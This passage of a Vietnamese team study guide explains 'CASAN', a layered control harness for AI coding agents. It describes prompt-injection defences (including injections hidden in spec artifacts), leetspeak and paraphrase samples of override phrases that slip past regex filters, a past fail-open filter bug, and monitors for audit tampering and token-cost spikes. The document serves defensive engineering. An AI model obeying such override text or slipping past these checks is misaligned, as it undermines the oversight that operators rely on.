khiển an toàn cho agent). App OKR chỉ là *testbed* để chứng minh harness chạy thật. + +**A2. "Harness" nghĩa là gì?** +Theo Martin Fowler (CASAN trích): *"everything in an AI agent except the model itself"* — toàn bộ lớp kỹ thuật bao quanh model để AI làm việc an toàn trong doanh nghiệp: ngữ cảnh, công cụ, kiểm định, bảo mật, quản trị, AgentOps, điều phối. **Harness là thứ tạo khác biệt, không phải model** (ai cũng gọi được cùng model). + +**A3. 7 harness (H1–H7) là gì?** +H1 Context · H2 Tool · H3 Evaluation · H4 Security · H5 Governance · H6 AgentOps · H7 Orchestration. (Xem `casan_harness_assessment.md`.) + +**A4. CASAN gồm mấy cấp?** +5 cấp: **C**urious → **A**ugmented → **S**tandard → **A**utomated → **N**ative. Dự án nhắm **Level 4 (Automated) chứng minh được**. + +**A5. Quy tắc vàng CASAN mà cả team PHẢI thuộc?** +(1) *"Điểm = thứ chứng minh được bằng tấn công, không phải thứ khai báo"* → có file ≠ có năng lực. (2) *"Harness thấp nhất quyết định trần"* → 1 harness yếu kéo cả pipeline xuống. (3) *"Thu hẹp khoảng cách từ demo đến production"*. + +**A6. Cách chấm điểm 1 harness?** +Mỗi harness 0–100. Trung bình 7 harness + không có GAP (<30) → suy ra CASAN Level. Trên 80 và không GAP = Level 4. + +--- + +## PHẦN B — BEFORE/AFTER: tối ưu đổi những gì (casan-old → casan5) + +**B1. Insight lớn nhất của bản nâng cấp là gì?** +**Mã ứng dụng gần như KHÔNG đổi** — backend **647 LOC giống hệt** [đo thật], 8 API endpoint không đổi. Thứ nâng cấp là **harness**: `.specify/scripts` từ **3.127 → 4.301 LOC (+37,5%)**, **22 → 35 script (+13)** [đo thật]. Đây là *trưởng thành hoá governance*, không phải thêm tính năng OKR. + +**B2. Trước tối ưu, 3 harness trọng tâm yếu thế nào?** +Theo `casan_harness_assessment.md` mục 5: **H4=20, H5=25, H6=30** — đều là **GAP**. H4 không có injection scan; H5 audit chỉ là text file (không bất biến); H6 chỉ có port check, không đo cost/drift. + +**B3. Nêu 3 thay đổi "chất" nhất (không phải thêm file)?** +(1) **H4:** sửa **bug fail-open thật** — bản cũ `security-check.sh` dùng sai cú pháp `[:space:]` → trên grep hiện đại **thoát rc=4, không chặn gì**; bản mới chặn cả leetspeak (rc=2) [đo thật]. (2) **H5:** audit chain ký RSA — sửa 1 ký tự bị bắt `AUDIT_HASH_MISMATCH` [đo thật]. (3) **H6:** cost-spike đo token thật, bắt step tốn 3× → `COST_SPIKE_DETECTED exit=2` [đo thật]. + +**B4. Ngoài 3 harness trọng tâm, còn đổi gì?** +DB **SQLite → MySQL** (production); frontend "test" từ **`tsc --noEmit` giả → 16 vitest thật** [đo thật]; thêm **CI/CD** (GitHub+Gitea), **Docker + Nginx**, tách khoá riêng khỏi git, redteam corpus, model-router. + +**B5. "Fail-open" là gì và vì sao nguy hiểm?** +Control gặp lỗi thì **mở cửa cho qua** thay vì chặn. Bản cũ khi grep lỗi cú pháp → thoát rc=4 → **injection lọt hết**. Nguy hiểm vì môi trường cũ (macOS/BSD) che mất, tưởng an toàn nhưng thực ra thủng. Bản mới **fail-closed** (lỗi thì chặn). + +**B6. Điểm trung bình harness đổi thế nào?** +Dự án tự báo ~81 → ~84 [dự án tự báo]. Tôi tự đo per-item ~83 [đo thật, per-harness ở Phụ lục C báo cáo]. + +--- + +## PHẦN C — H4 · H5 · H6 SÂU (trọng tâm thi) + +### H4 — Security +**C1. H4 bảo vệ chống gì?** Prompt injection (trực tiếp + gián tiếp), obfuscation (leetspeak/whitespace), rò rỉ secret/PII, jailbreak — bám OWASP LLM01/LLM02/LLM06 + Agentic Top 10. + +**C2. Vì sao regex không đủ, phải cần model?** +Regex chỉ bắt câu *đã biết*. Câu paraphrase mới ("could you set aside the earlier guidance…") **không trùng từ khoá → regex lọt (rc=0)** [đo thật]. Model phân loại theo **ngữ nghĩa** bắt được. Đây là nguyên lý *Computational × Inferential Blend*. + +**C3. Con số recall thật là bao nhiêu?** +Regex trên paraphrase mới = **0.00** [đo thật]. Frontier model (làm judge 30 mẫu) = **1.00** [đo thật phiên này]. ornith:9b ≈ **0.85** [dự án tự báo — đo bằng `phase3-redteam-metrics.sh` khi có Ollama]. + +**C4. "Indirect injection" (gián tiếp) là gì?** +Nhúng lệnh độc vào **artifact** (spec/plan) mà agent sẽ đọc, không phải input trực tiếp. `artifact-scan.sh` quét trước khi agent đọc → `ARTIFACT_SCAN_BLOCKED reason=injection_detected exit=2` [đo thật]. Đây là loại MAESTRO nhấn mạnh (cross-layer L2→L3). + +**C5. Chuẩn hoá (normalization) để làm gì?** Fold leetspeak (`1gn0re`→`ignore`), gộp khoảng trắng **TRƯỚC** khi match → né bằng biến thể trở nên vô ích. + +### H5 — Governance +**C6. Audit chain hoạt động thế nào?** Mỗi bản ghi hash nối tiếp bản trước (SHA-256 hash-chain) + **ký RSA vào head**. Sửa bất kỳ record nào → hash lệch → verify gãy. + +**C7. Vì sao cần ký RSA head, hash-chain chưa đủ?** +Hash-chain tự chứa: kẻ tấn công sửa 1 record rồi **tính lại toàn chain** thì hash vẫn khớp. Ký RSA head = **mỏ neo ngoài** kẻ tấn công không có private key → sửa xong không ký lại được → gãy. + +**C8. Chứng minh H5 bằng tấn công nào?** Sửa `high`→`LOW` ở record 1 → verify in `AUDIT_HASH_MISMATCH line=1` [đo thật]. Chuỗi bình thường → `AUDIT_CHAIN_VALID` [đo thật]. + +**C9. H5 có cần model không?** **KHÔNG** — toàn mật mã, chạy 100% offline. Đây là điểm quan trọng: H5 mạnh không phụ thuộc AI. + +**C10. Còn control H5 nào khác?** `secrets-scan` (chặn commit `.env`/private key, `PASS=6` [đo thật]); `circuit-breaker-check` (no-bypass: cấm `--no-verify` [đo thật]); tách khoá riêng khỏi git (chỉ public key trong repo). + +### H6 — AgentOps +**C11. Câu hỏi chốt của H6 là gì?** *"Nếu một step đột nhiên tốn gấp 3 lần token, có ai biết không?"* + +**C12. cost-spike-detect làm gì?** Đọc `provider-usage.jsonl`, tính **median total_tokens**, flag step > 3× median. [đo thật] seed 4 record (median 220, plan=710) → `SPIKE step=plan tokens=710 (>660) COST_SPIKE_DETECTED exit=2`. Negative case → `COST_SPIKE_NONE exit=0`. + +**C13. Token đo từ đâu (không bịa)?** Từ **provider telemetry thật**: Ollama trả `prompt_eval_count + eval_count`; OpenAI trả `usage.prompt_tokens + completion_tokens`. **Không ước lượng.** + +**C14. drift-detect là gì?** So 2 artifact bằng difflib thật (similarity ≠ 1.0) → phát hiện model đổi hành vi. [đo thật] `DRIFT_WARN similarity=0.7692`. + +**C15. Vai trò AI local trong H6?** **Nguồn dữ liệu**: mỗi lời gọi model ghi token thật vào `provider-usage.jsonl`. **Logic cost-spike/drift là deterministic** — model chỉ *cấp dữ liệu*, không quyết định. + +**C16. H6 còn thiếu gì để full điểm?** Cần **1 lần chạy pipeline ≥3 step** để có telemetry runtime thật (hiện offline chỉ có data seed). [chưa đo — cần chạy pipeline ở nhà]. + +--- + +## PHẦN D — CÁC HARNESS CÒN LẠI (H1/H2/H3/H7) + +**D1. H1 Context?** Đưa đúng artifact vào agent qua `pipeline-context.yaml`. [đo thật] `CONTEXT_VALID checked=24 all referenced artifacts present`. + +**D2. H2 Tool?** Gọi tool đúng quyền, có audit + timeout + JSON-schema. [đo thật] `TOOL_AUDIT_VALID records=18`; `validate-tool-input.sh` chặn tool sai schema (`TOOL_INPUT_INVALID exit=2`); `tool-exec.sh 2 -- ` → `TOOL_EXEC_TIMEOUT after 2s`. + +**D3. H3 Evaluation?** Gate AND(rule, model): plan thiếu tiêu chí → REJECT trước khi tốn model (fail-before); model trả rác → fail-closed. [đo thật] rule-path `PASS=3` (model SKIP khi offline, non-blocking) + vitest 16/16. + +**D4. H7 Orchestration?** Rollback thật (checkpoint→restore, before==after) + drift + fallback. [đo thật] adversarial `PASS: H7 rollback genuinely restores the file`. + +**D5. Vì sao H3 không phải trọng tâm lần này?** Vì H3 đã tốt sẵn (bản cũ 85). Lần này dồn vào 3 GAP: H4/H5/H6. + +--- + +## PHẦN E — MODEL: local vs cloud, tự chủ + +**E1. Có OpenAI key thì bỏ được Ollama không?** **KHÔNG với code hiện tại.** `model-call.py` nhánh cloud là **stub**: có key vẫn `fail("cloud_backend_not_implemented_in_wave1")` [đo thật đọc code]. Phải cài thêm ~20 dòng patch (xem `CASAN_MASTER_RUNBOOK.md` Mục 4). + +**E2. Còn cần Linux server không?** Server chỉ để host Ollama. Có thể cài **Ollama ngay trên Mac** → bỏ server. Hoặc patch OpenAI → bỏ cả Ollama lẫn server. + +**E3. Vì sao local AI ghi điểm CASAN?** Trụ cột **Sovereign AI / Harness tự chủ**: red-team corpus, spec, audit, telemetry **không rời máy**. Và **tái lập offline** — giám khảo replay không cần API key/mạng. + +**E4. ornith:9b là "trần" hay "sàn"?** **Sàn**: đủ để thắng regex (0.00) và cấp telemetry thật, nhưng recall (~0.85) thua frontier (1.00). Nói thẳng điều này = đúng tinh thần "honest scope". + +**E5. Model chạm tới harness nào?** Chỉ **H4** (recall) và **H6** (nguồn telemetry). **H5 hoàn toàn không cần model.** Phần lớn control là deterministic. + +**E6. Chạy full pipeline để gen source thì dùng model càng đắt càng tốt?** **KHÔNG.** Model tham gia 2 vai: (1) *sinh source* và (2) *cổng harness* (H3 judge, H4 semantic). Với **repo hiện tại**, phần sinh source là **template deterministic** trong `casan-step.mjs` [đo thật đọc code] → đổi model đắt **không đổi output**. Còn 2 cổng harness chỉ cần model "đủ khôn để phân loại", không cần frontier. Thêm nữa: đốt token vô tội vạ sẽ **tự kích hoạt `cost-spike` (exit=2)** của chính H6 → mâu thuẫn thông điệp "kiểm soát chi phí". **Điểm cộng là kiểm soát được chi phí, không phải dùng model xịn nhất.** + +**E7. Chỉ dùng model local có đủ tốt không?** **Đủ cho đúng phần việc harness.** H4 (chặn injection semantic) và H3 (chấm đạt/không đạt) không cần GPT-4/Claude — `ornith:9b` thừa sức, và nếu vắng model thì gate `SKIP` (không vỡ pipeline). Bonus: **không API key, không tốn tiền, dữ liệu không rời máy** — hợp bối cảnh thi/demo và đúng trụ cột Sovereign AI. Cloud/đắt chỉ đáng cân nhắc khi *thật sự* nối LLM vào phần sinh code và gặp việc suy luận phức tạp — kể cả lúc đó là **"chọn model phù hợp", không phải "đắt nhất"**. + +**E8. Pipeline còn sinh cả source dự án (không chỉ vỏ harness) — với codebase lớn/logic phức tạp hơn OKR thì vai trò model thế nào theo tư tưởng CASAN?** Tư tưởng cốt lõi: **model là "công nhân sinh code", KHÔNG phải nguồn tin cậy.** Niềm tin đến từ **harness deterministic**, không đến từ việc model thông minh cỡ nào. Cụ thể: +- **Codebase lớn hơn KHÔNG đòi model khôn hơn để AN TOÀN** — nó đòi **harness mở rộng theo**: H1 kiểm nhiều ngữ cảnh hơn, H2 siết nhiều tool hơn, H3 chấm nhiều artifact hơn, H4 quét nhiều bề mặt hơn. Dù model frontier hay local, **output vẫn phải qua đúng bộ cổng đó**. +- **CASAN scale bằng CHIA NHỎ + vòng lặp review, không bằng "model to hơn":** mỗi bước là 1 lời gọi được harness bọc; các vòng REJECT (STEP5/7/11) và H3 model-as-judge bắt lỗi/drift từng phần. Việc phức tạp được bẻ nhỏ tới mức mỗi mảnh kiểm chứng được. +- **Model là hàng hoá thay thế được; harness là tài sản.** Đổi Ollama↔Claude↔GPT không đổi *đảm bảo an toàn/governance* — chỉ đổi *năng suất/chất lượng bản nháp*. Vì thế chọn model theo nguyên tắc **"rẻ nhất mà vẫn qua được cổng H3"**, chỉ **leo thang khi H3/review liên tục từ chối** (escalation-on-demand), không mặc định dùng đắt. +- **Kỷ luật chi phí luôn còn:** H6 `cost-spike` là hàng rào để dự án phức tạp không đốt ngân sách — càng lớn càng cần cổng này, không phải càng cần model đắt. +- **Nói thẳng phạm vi:** trong repo hiện tại phần sinh code là template; muốn LLM *thật sự* sinh code cho dự án lớn thì thay các `write(...)` bằng lời gọi model — nhưng **kiến trúc kiểm soát không đổi**: sinh xong vẫn chui qua H1→H7. + +**E9. Vậy một câu chốt về vai trò model trong CASAN?** *"Model sinh ra bản nháp; harness quyết định bản nháp có được tin hay không."* Chất lượng model ảnh hưởng **số lần bị review từ chối**, không ảnh hưởng **mức đảm bảo an toàn** — mức đó do các cổng deterministic H1–H7 giữ, bất kể model nào. + +--- + +## PHẦN F — NÂNG CAO: tấn công, MAESTRO, triết lý + +**F1. "Cross-layer attack chain" là gì?** Chuỗi tấn công xuyên nhiều lớp MAESTRO: injection (L1) → lạm dụng tool (L3) → rò rỉ data (L2) → hành động sai (L4). Framework theo từng lớp riêng lẻ **bỏ sót** nó. Harness chặn ở nhiều lớp (defense-in-depth): H4 chặn đầu → H2 schema chặn tool → H4 timeout → H5 audit ghi lại. + +**F2. Stack 6 lớp bảo mật CASAN gồm gì?** NIST AI RMF (quản trị rủi ro), OWASP LLM Top 10 + Agentic Top 10 (lỗ hổng ứng dụng), CSA MAESTRO (threat model 7 lớp), MITRE ATLAS (tri thức tấn công), ISO/IEC 42001 (chứng nhận), EU AI Act (pháp lý). Áp dụng **tích luỹ theo cấp**. + +**F3. Vì sao "có prompt-filter.yaml" không đủ điểm?** Vì file chỉ *khai báo ý định*. Bản GHCP gốc có file "block jailbreak" nhưng **leak private key** do lỗi grep → chứng minh "có file ≠ có năng lực". Điểm chỉ tính khi **chặn được tấn công thật**. + +**F4. Vì sao "harness thấp nhất quyết định trần"?** Vì kẻ tấn công đi vào chỗ yếu nhất. Dù H1/H3 = 90, nếu H4 = 0 (không chặn injection) thì trong production agent vẫn bị chiếm quyền → cả pipeline không thể gọi là Level 4 thật. + +**F5. L0–L5 (mức uỷ quyền AI) là gì?** L0 quan sát → L1 nháp (người duyệt 100%) → L2 đề xuất → L3 thực thi rủi ro thấp → L4 vận hành workflow có hàng rào → L5 tự chủ cao trong vùng governance nghiêm ngặt. + +**F6. Vì sao app OKR "không đổi" lại là điểm mạnh, không phải điểm yếu?** Vì nó chứng minh giá trị nằm ở **harness tái sử dụng được** cho *bất kỳ* sản phẩm nào — không phải sửa app cho đẹp. App là testbed cố định để so sánh công bằng. + +--- + +## PHẦN G — THỰC HÀNH / VẬN HÀNH + +**G1. Chạy full self-scoring bằng gì?** `bash .specify/scripts/bash/security-gate.sh` → kỳ vọng `PASS=10 FAIL=0 SKIP=0` (khi có model + node). + +**G2. Vì sao trên máy sạch harness "FAIL" lúc đầu?** Do **môi trường**: thiếu `python` (script gọi `python` không phải `python3`), BSD grep, thiếu coreutils, hoặc msys fork trên Windows. **Không phải control giả** — vá xong là xanh. [đo thật: casan4 35/35 sau khi có python]. + +**G3. Chạy pipeline để sinh telemetry H6?** `node scripts/run-casan-pipeline.mjs` (cần model sống). Sinh `provider-usage.jsonl` + audit chain. Xem `CASAN_MASTER_RUNBOOK.md` Mục 5. + +**G4. Môi trường tái lập sạch nhất?** Docker `node:24-slim` + apt `python3 openssl git curl jq`. [đo thật] đủ chạy 35/35, 43/43, cost-spike, vitest 16. + +**G5. Muốn secrets-scan sạch (không warning)?** Chạy trong **git repo thật** (`git init`) — vì nó dùng `git ls-files`. + +--- + +## PHẦN J — HARNESS vs SẢN PHẨM OKR & CÁCH DÙNG THỰC TẾ + +**J1. Harness có liên quan gì tới app OKR không?** +Về bản chất **tách biệt**. **OKR chỉ là testbed** (sản phẩm mẫu để chứng minh). **Harness** (`.specify/scripts/bash/*` + `.specify/level5/*`) là **lớp kiểm soát dùng chung**, **không phụ thuộc OKR** — `casan-harness.sh` nhận `-- ` nên bọc được mọi agent/domain. Hai thứ chỉ "đấu dây" tại **một file**: `scripts/run-casan-pipeline.mjs` (nó gọi `casan-harness.sh ... -- node casan-step.mjs `). Bỏ OKR đi, harness vẫn nguyên vẹn dùng cho dự án khác. + +**J2. Có mấy cách dùng hệ thống?** **Hai:** + +| | (A) Pipeline 1 lệnh | (B) Chat tương tác (Spec-Kit) | +|---|---|---| +| Chạy | `node scripts/run-casan-pipeline.mjs` | Mở IDE (Claude Code / GitHub Copilot) → gõ slash command từng bước | +| Ai điều khiển | Boss tự chạy 13 bước | **Con người** chat với agent | +| Harness | ✅ **ép buộc bằng code** | ⚠️ **theo protocol (mềm)**, xem J5 | +| Dùng cho | demo/CI/tái lập bằng chứng | phát triển thật, làm từng bước | + +**J3. Cách (A) — pipeline 1 lệnh — làm gì?** +Một lệnh chạy toàn bộ 13 bước SRS→…→deploy. Trong `run-casan-pipeline.mjs`, **mỗi bước** được bọc: +``` +casan-harness.sh agent_step_ -- node casan-step.mjs +``` +→ Harness (H1→H7) **thực thi thật** trước/sau mỗi bước: chặn injection (rc=2), ghi audit ký số, đo cost-spike… Đây là nơi "chạy có bằng chứng" là **thật** [đo thật]. + +**J4. Cách (B) — "setup rồi chat" — cụ thể thế nào?** +Đúng như bạn hình dung: trong IDE có agent, bạn gọi **lệnh slash lần lượt**, ví dụ: +``` +/okr.srs → sinh SRS +/speckit.specify → sinh spec.md +/speckit.plan → sinh plan.md +/speckit.tasks → sinh tasks.md +/speckit.implement → sinh code +``` +Mỗi lệnh là một **prompt agent** (`.github/prompts/*` hoặc `.claude/commands/*`). Bạn chat, review, gọi bước tiếp. Đây là luồng phát triển bình thường. + +**J5. Khi chat (cách B), harness CÓ tự chạy không?** +**Không tự động ở repo hiện tại** [đo thật — grep các file slash-command không hề gọi script harness]. Có tài liệu `casan-harness-protocol.md` ghi harness là **"mandatory cho Boss và mọi agent step"** kèm gate pattern, **nhưng đó là hướng dẫn** — enforcement phụ thuộc agent **có tuân theo** hay không. +→ Phân biệt quan trọng: +- **Pipeline (A) = enforcement CỨNG** (gọi trong code, không thể bỏ qua). +- **Chat (B) = enforcement MỀM** (agent phải chủ động chạy script theo protocol; nếu không, bước đó không qua harness). + +**J6. Gate pattern chuẩn khi chat (theo protocol) là gì?** +Trước mỗi bước: +``` +security-check.sh "$IN" "$SAFE" input # H4 quét đầu vào +governance-check.sh "$SAFE" "$OK" "$ACTION" # H5 risk + audit +``` +Bọc lúc thực thi: +``` +agent-metrics.sh "$OK" "$OUT" -- # H6 telemetry +``` +Sau khi có output: +``` +security-check.sh "$OUT" "$FINAL" output # H4 quét đầu ra +``` +Hoặc gọn bằng wrapper `casan-harness.sh ... -- `. Muốn chat "có kiểm soát thật" thì agent phải chạy đúng các lệnh này. + +**J7. High-risk trong chat được duyệt thế nào (không interactive)?** +Theo protocol: rủi ro cao **bị từ chối** trừ khi có **cả hai** biến: +``` +CASAN_APPROVAL_DECISION=approve +CASAN_APPROVER= +``` +Pipeline **cấm** dùng `read` tương tác — mọi quyết định phải **deterministic + auditable**. + +**J8. Vậy khi THI nên demo cách nào?** +Demo **cách (A) pipeline 1 lệnh** — vì đó là nơi harness **ép cứng** và sinh bằng chứng thật (exit-code, audit, cost). Nói rõ: chat mode (B) là luồng phát triển, và **hợp nhất "chat cũng đi qua harness"** là mục tiêu Plan-01 (CLI `casan run`) + Plan-02 (agent thật gọi qua wrapper). + +**J9. Làm sao để chat mode cũng ép harness (không còn mềm)?** +Ba hướng (thuộc roadmap): (1) đóng gói CLI `casan run ` để agent gọi 1 lệnh là qua đủ H1→H7 (Plan-01); (2) sửa prompt slash-command **nhúng** gate pattern J6; (3) Plan-02 thay `casan-step.mjs` template bằng agent thật nhưng **bắt buộc qua `casan-harness.sh`**. Đích: dù (A) hay (B), mọi lời gọi đều xuyên harness. + +**J10. Chốt một câu?** +> **Harness ≠ OKR** — OKR là testbed, harness là lớp kiểm soát tái dùng. Có 2 cách dùng: **pipeline 1 lệnh** (harness ép cứng, để demo) và **chat Spec-Kit** (harness hiện mới ở mức protocol mềm). Hợp nhất hai đường là việc Plan-01/02 nhắm tới. + +--- + +## PHẦN H — CÂU HỎI BẪY / PHẢN BIỆN (test hiểu sâu) + +**H1. "Điểm ~84 là bạn tự chạy ra đúng không?"** Không hoàn toàn — số gốc là **casan5 tự chấm**. Tôi **tự chạy per-item** xác nhận ~83 và ghi rõ cái nào VERIFIED, cái nào chờ Ollama (recall 9B, telemetry H6). Trung thực là tiêu chí. + +**H2. "adversarial báo 44 PASS mà bạn chỉ ra 43?"** Đúng — tôi tự đo **43 PASS** offline; 1 chênh là 2 test model SKIP khi không có Ollama (non-blocking). macOS+Ollama mới đủ 44. Không giấu. + +**H3. "Cost-spike bạn demo bằng data seed, có phải bịa không?"** Không — tôi **chứng minh LOGIC control** hoạt động bằng dữ liệu kiểm soát (positive + negative). Dữ liệu token THẬT đến từ chạy pipeline (Mục G3). Tôi nói rõ đâu là seed, đâu là runtime. + +**H4. "OpenAI key là chạy được ngay chứ gì?"** Sai — cloud backend là **stub chưa cài** (đọc code). Nói "chạy ngay" là bịa. + +**H5. "Vì sao không tin 100% điểm của chính dự án?"** Vì nguyên tắc CASAN: điểm phải **chứng minh được bằng tấn công**, không phải trích dẫn. Bản GHCP gốc từng bị thổi phồng (file "block jailbreak" nhưng leak). + +**H6. "Bản cũ chạy PASS=11 adversarial mà, sao bảo yếu?"** Vì `PASS=11` của bản cũ là **ảo do môi trường cũ dung thứ bug**. Trên grep hiện đại, `security-check.sh` bản cũ **fail-open rc=4** — không chặn cả injection kinh điển [đo thật]. + +**H7. "Nếu H6 chưa có telemetry runtime thì Level 4 có thật không?"** Logic H6 đã chứng minh (cost-spike/drift chạy đúng). Chỉ thiếu *dữ liệu runtime* — cần 1 lần chạy pipeline. Theo "harness thấp nhất quyết định trần", H6 (~82) đang là mục cần đóng nốt để chắc trần. + +**H8. "Khác biệt casan-old vs casan5 trong 1 câu?"** *"casan-old thắng được một buổi demo; casan5 sống sót trong production"* — vì control giờ **chặn được tấn công thật, có exit code**, không phải "có file". + +--- + +## PHẦN I — CHECKLIST HIỂU BÀI (tự kiểm tra thành viên) + +Thành viên đạt nếu trả lời được: +- [ ] 3 harness trọng tâm + điểm GAP cũ (H4=20, H5=25, H6=30). +- [ ] Bug fail-open `[:space:]` của bản cũ và cách bản mới sửa. +- [ ] Vì sao ký RSA head (chống re-forge chain). +- [ ] Câu hỏi chốt H6 + cách cost-spike trả lời (exit=2). +- [ ] Regex 0.00 vs model recall — vì sao cần semantic. +- [ ] OpenAI hiện là stub, muốn dùng phải patch. +- [ ] Vai trò AI local: chỉ chạm H4/H6, H5 độc lập; giá trị lớn là tự chủ dữ liệu. +- [ ] Phân biệt [đo thật] vs [dự án tự báo]. + +--- + +_Tài liệu này bám bằng chứng đã kiểm chứng trong repo. Nhãn [đo thật] = có exit code thật (Docker node:24-slim + WSL, 2026-07-02). Tham chiếu: `CASAN_OLD_vs_CASAN5_Executive_Assessment.md`, `CASAN_MASTER_RUNBOOK.md`, `casan_harness_assessment.md`, `FPT_CASAN_Full.md`._